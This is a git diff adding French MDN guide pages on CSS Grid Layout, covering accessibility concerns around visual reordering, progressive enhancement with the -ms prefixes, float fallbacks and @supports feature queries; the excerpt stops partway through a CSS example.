+<p>{{ EmbedLiveSample("Contrôler_l’ordre_de_superposition", '230', '420') }}</p>
+
+<h2 id="La_suite">La suite</h2>
+
+<p>Dans cet article nous avons parcouru rapidement la spécification CSS Grid Layout. Essayez de jouer avec les exemples, avant de passer aux parties suivantes de ce guide pour commencer à vraiment plonger dans le détail de la CSS Grid Layout.</p>
+
+<p>{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilité/index.html b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilité/index.html
new file mode 100644
index 0000000000..6e2751382d
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilité/index.html
@@ -0,0 +1,124 @@
+---
+title: Les grilles CSS et l'accessibilité
+slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité
+tags:
+  - Accessibilité
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Pour celles et ceux qui étaient présents aux premières lueurs du Web, les grilles CSS peuvent rappeler l'âge sombre où les tableaux HTML étaient utilisés pour la mise en forme des pages et où les cellules étaient utilisées pour diviser le contenu. Cette approche avait quelques avantages par rapport au positionnement CSS apparu après : on pouvait tirer parti de l'alignement et des colonnes créées dans un tableau. Il y a toutefois un inconvénient majeur : la mise en forme est fortement couplée à la structure du document, entraînant certains problèmes d'accessibilité. On pouvait par exemple découper le contenu dans le tableau afin d'obtenir la mise en forme souhaitée mais la structure de la page n'avait plus aucun sens lorsqu'elle était lue par un lecteur d'écran.</p>
+
+<p>Aux débuts de CSS, on évoquait souvent CSS comme un outil pour séparer distinctement la mise en forme d'une part et le contenu du document d'autre part. L'objectif ultime était alors de pouvoir créer un document sémantique et structuré correctement puis appliquer une feuille de style CSS afin de créer la disposition voulue. Des sites tels que <a href="https://www.csszengarden.com/">CSS Zen Garden</a> montrent comment obtenir différents styles grâce à CSS à partir d'un même document HTML.</p>
+
+<p><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Les grilles CSS</a> n'ont pas les mêmes problèmes que les tableaux : la structure de la grille est bien définie dans la feuille de style et pas dans le document. Si nécessaire, on peut ajouter un élément sans rôle sémantique. En théorie, une grille CSS nous aide à obtenir cette séparation conceptuelle entre la forme (le code CSS) et le sens (le document HTML) mais est-il possible d'aller trop loin avec cette idée ? Est-ce que les grilles CSS peuvent causer des problèmes d'accessibilité ?</p>
+
+<h2 id="Réordonner_le_contenu_dans_une_grille_CSS">Réordonner le contenu dans une grille CSS</h2>
+
+<p>Au fur et à mesure de ces articles, nous avons vu que les grilles CSS nous permettent de réordonner le contenu d'une page de différentes façons. On peut utiliser la propriété {{cssxref("order")}} afin de modifier la façon dont les éléments sont placés automatiquement sur la grille. On peut aussi utiliser <code>grid-auto-flow: dense</code> pour que les éléments ne suivent pas l'ordre du DOM afin de réduire les espaces laissés. On peut aussi positionner les éléments sur des lignes ou sur des zones définies, quel que soit leur emplacement dans la structure du document source.</p>
+
+<p><a href="https://drafts.csswg.org/css-grid/#order-accessibility">La spécification</a> contient une section qui aborde ce ré-ordonnancement et l'accessibilité. En introduction, on peut lire ce qui est attendu de la part des navigateurs lorsque le contenu est réordonné visuellement avec une grille CSS.</p>
+
+<blockquote>
+<p>La disposition en grille fournit une grande flexibilité aux auteurs pour replacer le contenu du document. Toutefois, cette flexibilité ne doit pas être utilisée pour pallier à un ordre incorrect du document source. Les propriétés des grilles relatives à l'ordre et au placement n'ont pas d'effet quant aux médias non-visuels (tels que la parole). De la même façon, le ré-ordonnancement visuel des éléments sur la grille n'a pas d'effet sur l'ordre de parcours séquentiel par défaut du document (notamment utilisé pour la navigation au clavier ou le parcours des liens, cf. <code><a href="/fr/docs/Web/HTML/Attributs_universels/tabindex">tabindex</a></code>).</p>
+</blockquote>
+
+<p>Si vous réordonnez les éléments du document grâce à une disposition sur une grille, cela ne changera pas l'ordre du contenu lu par un lecteur d'écran ou manipulé par un autre agent utilisateur. Cela ne modifiera pas non plus l'ordre des éléments lorsque ceux-ci sont parcourus au clavier. Une personne utilisant le clavier pourrait ainsi passer d'un coup de la partie haute de la grille à la partie basse si les liens ont été réordonnés.</p>
+
+<p>La spécification prévient les auteurs (c'est-à-dire les développeurs web) et leur indique de ne pas appliquer ce ré-ordonnancement.</p>
+
+<blockquote>
+<p>Les auteurs doivent utiliser les propriétés d'ordre et de placement uniquement pour des raisons visuelles et non pour réordonner logiquement le contenu. Les feuilles de style qui utilisent ces fonctionnalités afin de réordonner les éléments sur le plan logique ne sont pas considérées comme des feuilles de style conformes.</p>
+</blockquote>
+
+<p>Quelles sont les implications pratiques lorsqu'on conçoit une disposition avec une grille ?</p>
+
+<h3 id="Un_ré-ordonnancement_visuel_et_non_logique">Un ré-ordonnancement visuel et non logique</h3>
+
+<p>La modification d'ordre appliquée par la grille (ou les boîtes flexibles) est uniquement <em>visuelle</em>. C'est toujours le document sous-jacent qui contrôle l'ordre utilisé par les agents utilisateur non-visuels. Voyons comment cela s'applique pour un exemple simple.</p>
+
+<p>Dans cet exemple, on utilise une grille pour organiser un ensemble de boîtes qui contiennent des liens. On utilise les propriétés pour placer les éléments sur des lignes : la première boîte est placée sur la deuxième ligne. Visuellement, cette boîte apparaît désormais comme le quatrième élément de la liste. Mais si on utilise la touche tabulation pour naviguer au clavier parmi les liens, c'est toujours ce lien qui est en premier.</p>
+
+<div id="accessibility_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column: 1;
+  grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;&lt;a href=""&gt;Un&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box2"&gt;&lt;a href=""&gt;Deux&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box3"&gt;&lt;a href=""&gt;Trois&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box4"&gt;&lt;a href=""&gt;Quatre&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box5"&gt;&lt;a href=""&gt;Cinq&lt;/a&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('accessibility_1', '500', '330')}}</p>
+</div>
+
+<p>Pour ce scénario, la spécification indique que, si la boîte 1 doit logiquement être placée ici, il faut alors modifier le document source plutôt que de réordonner les éléments grâce à la grille.</p>
+
+<h2 id="Comment_prendre_en_compte_l'accessibilité_avec_une_disposition_en_grille">Comment prendre en compte l'accessibilité avec une disposition en grille ?</h2>
+
+<p>On voit à partir de la spécification qu'il faut maintenir l'ordre logique du contenu. Quelle approche choisir pendant le développement afin de s'assurer de respecter l'accessibilité pour les utilisateurs et que ceux-ci puissent interagir correctement avec la page, quels que soient les outils utilisés ?</p>
+
+<dl>
+ <dt>Démarrer avec un document structuré et accessible</dt>
+ <dd>Une disposition en grille ne doit pas nécessiter de changement dans la structure du document pour obtenir la disposition souhaitée. Aussi, pour commencer, le document qui forme la page doit être bien structuré et accessible. Comme indiqué dans la spécification, cette structure de base doit également fournir une bonne structure pour les petits écrans. Si un utilisateur fait défiler le site sur un appareil mobile, les éléments qu'il doit voir en premier sont généralement ceux qui sont au début du document dans la source.</dd>
+ <dt>Créer une grille adaptative correcte</dt>
+ <dd>Grâce à cette structure de base claire, on peut complexifier la disposition. Il est probable qu'on veuille ajouter des <a href="/fr/docs/Web/CSS/Requêtes_média">requêtes de média</a> afin de créer des colonnes supplémentaires et gérer différentes tailles d'écran et différents appareils. Une grille peut s'avérer très utile pour déplacer les éléments qui étaient moins prioritaires sur mobile afin de construire la disposition d'un écran plus large. Une bonne stratégie consiste à tester chaque disposition, simplement en utilisant la navigation avec la touche tabulation : est-ce que cet ordre est pertinent ? est-ce qu'on ne passe pas d'un coup du haut en bas de la page ?</dd>
+ <dt>Revenir à la source</dt>
+ <dd>Si, pendant cette phase de conception, vous avez besoin de replacer un élément avec la grille, analysez s'il est nécessaire de replacer cet élément dans l'ordre logique du document. Les grilles CSS ont cela de pratique qu'elles permettent de déplacer un élément dans le document source sans qu'il soit nécessaire de modifier profondément les règles de style. C'est un atout considérable par rapport aux dispositions construites avec {{cssxref("float")}} où la structure et l'ordre du document jouaient un rôle fondamental. Cela demande toutefois de garder à l'esprit qu'il faut revenir à la source pour mettre à jour et maintenir l'ordre logique.</dd>
+</dl>
+
+<h2 id="Les_grilles_et_le_risque_d'aplatir_le_document_à_outrance">Les grilles et le risque d'aplatir le document à outrance</h2>
+
+<p>On peut rencontrer un autre problème avec les grilles CSS (et, dans une moindre mesure, avec les boîtes flexibles) : vouloir aplatir la structure du document. Comme nous avons pu le voir, pour qu'un objet appartienne à la grille, il faut que ce soit un fils direct du conteneur de la grille. Ainsi, si on place un élément {{HTMLElement("ul")}} dans une grille, c'est <em>cet</em> <code>ul</code> qui devient un objet de la grille, les éléments {{HTMLElement("li")}} qui en dépendent n'en sont pas.</p>
+
+<p>Si la valeur <code>subgrid</code> est implémentée pour la propriété {{cssxref("display")}}, on pourra alors indiquer que ces fils participent à la grille en tant que <em>sous-grille</em>. Actuellement, la seule solution à notre disposition est d'utiliser <code>display: contents</code> afin que la boîte générée par l'élément <code>ul</code> disparaisse de la structure graphique. Pour plus d'informations à ce sujet, vous pouvez consulter <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition">l'article sur les liens entre les grilles et les autres méthodes de disposition</a> et notamment la section sur <code><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition#Utiliser_une_grille_et_display_contents">display: contents</a></code>.</p>
+
+<p>Étant donné que la prise en charge de <code>display: contents</code> pour les différents navigateurs est actuellement limitée et que les sous-grilles n'existent pas encore, on peut être tenté d'aplatir la structure du document lorsqu'on utilise les grilles CSS pour créer la disposition d'un document. Par exemple, pour une liste, identifiée sémantiquement comme telle avec <code>ul</code>, on pourrait plutôt utiliser des éléments {{HTMLElement("div")}} qui seraient des éléments directement situés sous le conteneur qui a <code>display: grid</code>. Mieux vaut donc être conscient de cette tentation et construire un document sans détricoter la structure. En commençant par créer un document structuré, on se rend plus facilement compte de la sémantique perdue si on retire des éléments pour une simple question visuelle.</p>
+
+<h2 id="Approfondir_la_question">Approfondir la question</h2>
+
+<p>Il n'existe pas encore beaucoup de contenu relatif à l'accessibilité et au modèle de grille CSS. La plupart des problèmes rencontrés s'approchent de ceux qu'on rencontre avec les boîtes flexibles (qui permettent également de réordonner le contenu avec des propriétés comme {{cssxref("flex-direction")}} et {{cssxref("order")}}).</p>
+
+<p>Le concept selon lequel l'ordre d'affichage des éléments doit suivre l'ordre des éléments dans le document est décrit dans <em>WCAG Techniques for Success Criteria – <a href="https://www.w3.org/TR/WCAG20-TECHS/C27.html">Technique C27</a></em> (en anglais).</p>
+
+<p>Pour construire votre réflexion sur ce sujet, je vous invite à lire <em><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox &amp; the Keyboard Navigation Disconnect</a></em> écrit par Léonie Watson. <a href="https://www.youtube.com/watch?v=spxT2CmHoPk">La vidéo de la présentation de Léonie à ffconf</a> est aussi utile pour mieux comprendre comment les lecteurs d'écran utilisent la représentation visuelle des objets en CSS. Adrian Roselli a également publié <a href="https://adrianroselli.com/2015/10/html-source-order-vs-css-display-order.html">un article sur l'ordre de la navigation au clavier dans les différents navigateurs</a> bien que cet article ait été rédigé avant l'implémentation des grilles CSS dans Firefox.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_amélioration_progressive/index.html b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_amélioration_progressive/index.html
new file mode 100644
index 0000000000..8a5122de2f
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_amélioration_progressive/index.html
@@ -0,0 +1,420 @@
+---
+title: Les grilles CSS et l'amélioration progressive
+slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Au printemps 2017, on voit pour la première fois une spécification majeure être disponible presque simultanément dans différents navigateurs : les grilles CSS (<em>CSS Grid</em>). Les grilles CSS sont disponibles dans les versions récentes de Firefox, Chrome, Opera, Safari et Edge. Malgré cela, si ces navigateurs récents permettront à la plupart d'entre nous de profiter de ces nouvelles fonctionnalités, il existe d'anciens navigateurs ou d'autres navigateurs qui ne prennent pas en charge ces fonctionnalité. Dans ce guide, nous allons parcourir différentes stratégies pour gérer cette prise en charge.</p>
+
+<h2 id="Les_navigateurs_qui_prennent_en_charge_les_grilles_CSS">Les navigateurs qui prennent en charge les grilles CSS</h2>
+
+<p>En dehors d'Internet Explorer, les propriétés et valeurs relatives aux grilles CSS ne sont pas préfixées dans Safari, Chrome, Opera, Edge et dans Firefox. Toutes les propriétés et valeurs que nous avons vues dans ce guide fonctionnent de façon interopérable entre ces navigateurs. Cela signifie que si vous écrivez des règles CSS pour paramétrer une grille, le document doit avoir le même rendu dans Firefox, Opera et dans Chrome. Les grilles CSS ne sont plus une spécification expérimentale, elles peuvent donc être utilisées en production.</p>
+
+<h2 id="La_situation_pour_Internet_Explorer_et_Edge">La situation pour Internet Explorer et Edge</h2>
+
+<p>La première implémentation des grilles CSS a eu lieu avec Internet Explorer 10. La première version de la spécification ne contenait alors pas toutes les propriétés et valeurs décrites dans la spécification actuelle. Il existe également des différences importantes entre ce qui est disponible dans IE10 et la spécification actuelle, même si les propriétés et les valeurs se ressemblent à première vue. Cette implémentation initiale est également celle qui est en place dans Edge jusqu'à la version 15.</p>
+
+<p>La version implémentée pour IE/Edge (≤15) est préfixée avec <code>-ms</code> et les propriétés ont les noms suivants :</p>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}} est appelée <code>-ms-grid-columns</code></li>
+ <li>{{cssxref("grid-template-rows")}} est appelée <code>-ms-grid-rows</code></li>
+ <li>{{cssxref("grid-row-start")}} est appelée <code>-ms-grid-row</code></li>
+ <li>{{cssxref("grid-column-start")}} est appelée <code>-ms-grid-column</code></li>
+ <li>{{cssxref("align-self")}} est appelée <code>-ms-grid-row-align</code></li>
+ <li>{{cssxref("justify-self")}} est appelée <code>-ms-grid-column-align</code></li>
+</ul>
+
+<p>La version implémentée dans Internet Explorer dispose de propriétés supplémentaires qui ne font pas partie de la nouvelle spécification : <code>-ms-grid-column-span</code> et <code>-ms-grid-row-span</code>. La version implémentée dans IE ne profite pas du placement automatique ou des zones nommées. On peut implémenter certaines grilles simples pour IE10 et jusqu'à Edge 15, grâce à ces propriétés préfixées par <code>-ms</code>. Ces propriétés étant préfixées, elles ne seront pas reconnues (et n'auront aucun effet) pour les navigateurs qui implémentent la spécification actuelle.</p>
+
+<h3 id="L'utilisation_d'autoprefixer_pour_la_prise_en_charge_de_la_grille">L'utilisation d'autoprefixer pour la prise en charge de la grille</h3>
+
+<p>L'outil <em><a href="https://github.com/postcss/autoprefixer">autoprefixer</a></em> a été mis à jour afin de prendre en charge les versions préfixées par <code>-ms-</code> lorsqu'on utilise les nouvelles propriétés. Par défaut, les préfixes liés à la grille sont désactivés mais vous pouvez les activer avec l'option <code>grid: autoplace</code>.</p>
+
+<pre class="brush: js">autoprefixer({ grid: 'autoplace' })</pre>
+
+<p>Les préfixes relatifs aux grilles sont désactivés par défaut car certaines propriétés ne peuvent pas être préfixées</p>
+
+<h2 id="Puis-je_utiliser_les_grilles_CSS_sans_danger">Puis-je utiliser les grilles CSS sans danger ?</h2>
+
+<p>Comme pour les autres technologies <em>front-end</em>, la décision d'utiliser les grilles CSS se résume souvent au parc de navigateurs utilisés par le public de votre site ou votre application. S'ils ont tendance à utiliser des version à jour de Firefox, Chrome, Opera et Safari, il serait logique de commencer à utiliser les grilles CSS dès que la nouvelle version des navigateurs sera disponible. En revanche, si le marché visé repose sur d'anciens navigateurs, ce n'est peut-être pas le bon choix. Toutefois, je suggèrerai de ne pas prendre les mêmes hypothèses que pour la diffusion des autres spécifications par le passé : le travail d'implémentation et d'homogénéisation réalisés par les différents distributeurs de navigateur pour les fonctionnalités des grilles CSS est sans précédent.</p>
+
+<h2 id="Commencer_à_utiliser_les_grilles_CSS_en_production">Commencer à utiliser les grilles CSS en production</h2>
+
+<p>On notera qu'il n'est pas nécessaire d'avoir une rupture brutale pour utiliser les grilles CSS. On peut commencer par améliorer quelques éléments avec une grille et conserver l'ancienne méthode d'affichage pour les navigateurs historiques. Surcharger ces méthodes historiques avec les grilles fonctionne très bien étant donné la façon dont les grilles interagissent avec ces autres méthodes.</p>
+
+<h3 id="Effectuer_la_transition_depuis_une_disposition_flottante">Effectuer la transition depuis une disposition flottante</h3>
+
+<p>Jusqu'à présent, pour créer une disposition sur plusieurs colonnes, on a utilisé <a href="/fr/docs/Learn/CSS/CSS_layout/Floats">des dispositions flottantes</a>. Si vous avez un objet qui flotte et que celui-ci est également un objet d'une grille CSS : dans un navigateur qui prend en charge les grilles CSS, le flottement ne sera plus appliqué sur l'objet. En fait, la grille prend le pas sur le flottement. Dans l'exemple qui suit, on a simplement un objet média. Pour un navigateur historique, on utilise {{cssxref("float")}}, cependant, on a également défini un conteneur de grille dans lequel on pourra utiliser les propriétés d'alignement disponibles pour les navigateurs qui implémentent les grilles CSS.</p>
+
+<p>Le mode {{cssxref("float")}} ne s'applique plus sur l'objet et on peut utiliser la propriété {{cssxref("align-self")}} afin d'aligner le contenu vers la fin du conteneur.</p>
+
+<div id="enhancement_1">
+<pre class="brush: css">* {box-sizing: border-box;}
+img {
+  max-width: 100%;
+  display: block;
+}
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 2fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+.media::after {
+  content: "";
+  display: block;
+  clear: both;
+}
+.media .image {
+  float: left;
+  width: 150px;
+  margin-right: 20px;
+}
+.media .text {
+  padding: 10px;
+  align-self: end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media"&gt;
+  &lt;div class="image"&gt;
+    &lt;img src="http://placehold.it/150x150" alt="placeholder"&gt;
+  &lt;/div&gt;
+  &lt;div class="text"&gt;
+    Voici un exemple avec un média. On utilise le flottement
+    pour les anciens navigateurs et une grille pour les
+    nouveaux.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('enhancement_1', '500', '180')}}</p>
+</div>
+
+<p>Dans l'image qui suit, on voit à gauche ce qu'on obtient dans un navigateur qui ne prend pas en charge les grilles CSS et à droite le résultat obtenu pour un navigateur qui permet de les utiliser.</p>
+
+<p><img alt="A simple example of overriding a floated layout using grid." src="https://mdn.mozillademos.org/files/14743/10-float-simple-override.png" style="height: 308px; width: 1620px;"></p>
+
+<h3 id="Utiliser_les_requêtes_de_fonctionnalité_(feature_queries)">Utiliser les requêtes de fonctionnalité (<em>feature queries</em>)</h3>
+
+<p>L'exemple que nous venons de voir est très simple et on peut résoudre le problème sans avoir à écrire de code qui gênerait les navigateurs historiques, le code historique ne pose pas non plus de problème pour les navigateurs qui prennent en charge les grilles CSS. Dans la réalité, on fait parfois face à des cas plus complexes.</p>
+
+<p>Dans le prochain exemple, nous aurons un ensemble de cartes disposées avec du flottement. On a défini une largeur ({{cssxref("width")}}) sur ces cartes afin de pouvoir appliquer le flottement {{cssxref("float")}}. Pour créer des espaces entre les cartes, on utilise une marge ({{cssxref("margin")}}) sur les objets puis une marge négative sur le conteneur.</p>
+
+<div id="enhancement_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 600px;
+  margin: 0 auto;
+}
+.wrapper li {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper ul {
+  overflow: hidden;
+  margin: 0 -10px;
+  padding: 0;
+  list-style: none;
+}
+.wrapper li {
+  float: left;
+  width: calc(33.333333% - 20px);
+  margin: 0 10px 20px 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;ul&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Un&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Deux&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Trois&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Quatre&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Cinq&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Six&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('enhancement_2', '550', '400')}}</p>
+</div>
+
+<p>Dans la capture qui suit, on voit un problème classique qui est causé par les dispositions flottantes : si on ajoute du contenu à l'une des cartes, la disposition est chamboulée.</p>
+
+<p><img alt="A floated cards layout demonstrating the problem caused by uneven content height." src="https://mdn.mozillademos.org/files/14745/10-floated-cards.png" style="height: 536px; width: 550px;"></p>
+
+<p>Pour gérer les anciens navigateurs dans une certaine mesure, on peut indiquer une hauteur minimale pour les boîtes avec {{cssxref("min-height")}} et espérer que les éditeurs n'ajouteront pas trop de contenu dans chaque boîte…</p>
+
+<p>Voyons comment améliorer cette disposition avec une grille : on transforme l'élément {{HTMLElement("ul")}} en un conteneur de grille avec trois pistes en colonne. Malheureusement, la largeur qu'on avait affectée aux éléments de la liste s'applique toujours et désormais, chaque élément de la liste occupe uniquement un tiers de la piste correspondante.</p>
+
+<p><img alt="After applying grid to our container, the width of the items is now incorrect as they display at one third of the item width." src="https://mdn.mozillademos.org/files/14747/10-float-width-problem.png" style="height: 721px; width: 550px;"></p>
+
+<p>Si on réinitialise la largeur avec <code>auto</code>, on n'aura plus le résultat souhaité dans les anciens navigateurs. Il faut donc trouver un moyen de définir la largeur pour les anciens navigateurs et de supprimer la largeur quand le navigateur prend en charge les grilles CSS. Grâce <a href="/fr/docs/Web/CSS/@supports">aux requêtes de fonctionnalité CSS</a>, on peut le faire directement en CSS.</p>
+
+<p>Les requêtes de fonctionnalité ressemblent beaucoup aux <a href="/fr/docs/Web/CSS/Requêtes_média">requêtes de média</a> qu'on utilise pour créer des dispositions adaptatives. Ici, plutôt que de vérifier la largeur de la zone d'affichage ou telle caractéristique du navigateur ou de l'appareil, on vérifie la prise en charge d'une propriété CSS avec une certaine valeur grâce à une règle {{cssxref("@supports")}}. À l'intérieur de cette requête, on peut écrire le CSS nécessaire pour obtenir la nouvelle disposition et retiré tout ce qui est nécessaire pour l'ancienne mise en forme.</p>
+
+<pre class="brush: css">@supports (display: grid) {
+  .wrapper {
+    // ajouter les règles qu'on souhaite
+    // pour les navigateurs qui prennent
+    // en charge les grilles
+  }
+}
+</pre>
+
+<p>La prise en charge des requêtes de fonctionnalité par les différents navigateurs est excellente. Tous les navigateurs qui prennent en charge la nouvelle spécification pour les grilles CSS supportent aussi les requêtes de fonctionnalité. On peut donc les utiliser pour résoudre le problème précédent pour améliorer la disposition flottante.</p>
+
+<p>On utilise donc <code>@supports</code> pour vérifier la prise en charge de <code>display: grid</code>;, ensuite on indique que {{HTMLElement("ul")}} est le conteneur de la grille, on définit la largeur et {{cssxref("min-height")}} avec <code>auto</code> pour les éléments {{HTMLElement("li")}}. On retire également les marges, les marges négatives et on remplace l'espacement avec la propriété {{cssxref("grid-gap")}}. Cela signifie qu'il n'y aura pas de marge finale sur la dernière ligne de boîtes. La disposition fonctionne également  désormais lorsqu'une carte possède plus de contenu qu'une autre.</p>
+
+<div id="enhancement_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 600px;
+  margin: 0 auto;
+}
+.wrapper li {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper ul {
+    overflow: hidden;
+    margin: 0 -10px;
+    padding: 0;
+    list-style: none;
+}
+.wrapper li {
+    float: left;
+    width: calc(33.333333% - 20px);
+    margin: 0 10px 20px 10px;
+}
+@supports (display: grid) {
+  .wrapper ul {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+    margin: 0;
+  }
+  .wrapper li {
+    width: auto;
+    min-height: auto;
+    margin: 0;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;ul&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Un&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Deux&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Trois&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Quatre&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Cinq&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Six&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('enhancement_3', '550', '480')}}</p>
+</div>
+
+<h2 id="Surcharger_les_autres_valeurs_pour_display">Surcharger les autres valeurs pour <code>display</code></h2>
+
+<p>Étant donné ces problèmes pour créer des grilles d'objets avec du flottement, il est probable que nous aurions choisi un autre méthode initialement, par exemple <code>display: inline-block</code>.</p>
+
+<p>Là encore, on peut utiliser les requêtes de fonctionnalité pour surcharger <code>display: inline-block</code>. Ici aussi, il n'est pas nécessaire de tout surcharger. Pour les éléments concernés par <code>inline-block</code>, ils deviendront des objets de la grille et <code>inline-block</code> ne s'appliquera plus. Dans l'exemple qui suit, on utilise la propriété <code>vertical-align</code> sur les éléments lorsqu'on utilise le mode <code>inline-block</code>, cette propriété n'étant pas appliquée aux éléments d'une grille, elle est ignorée lorsque l'élément devient un objet de la grille.</p>
+
+<div id="enhancement_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
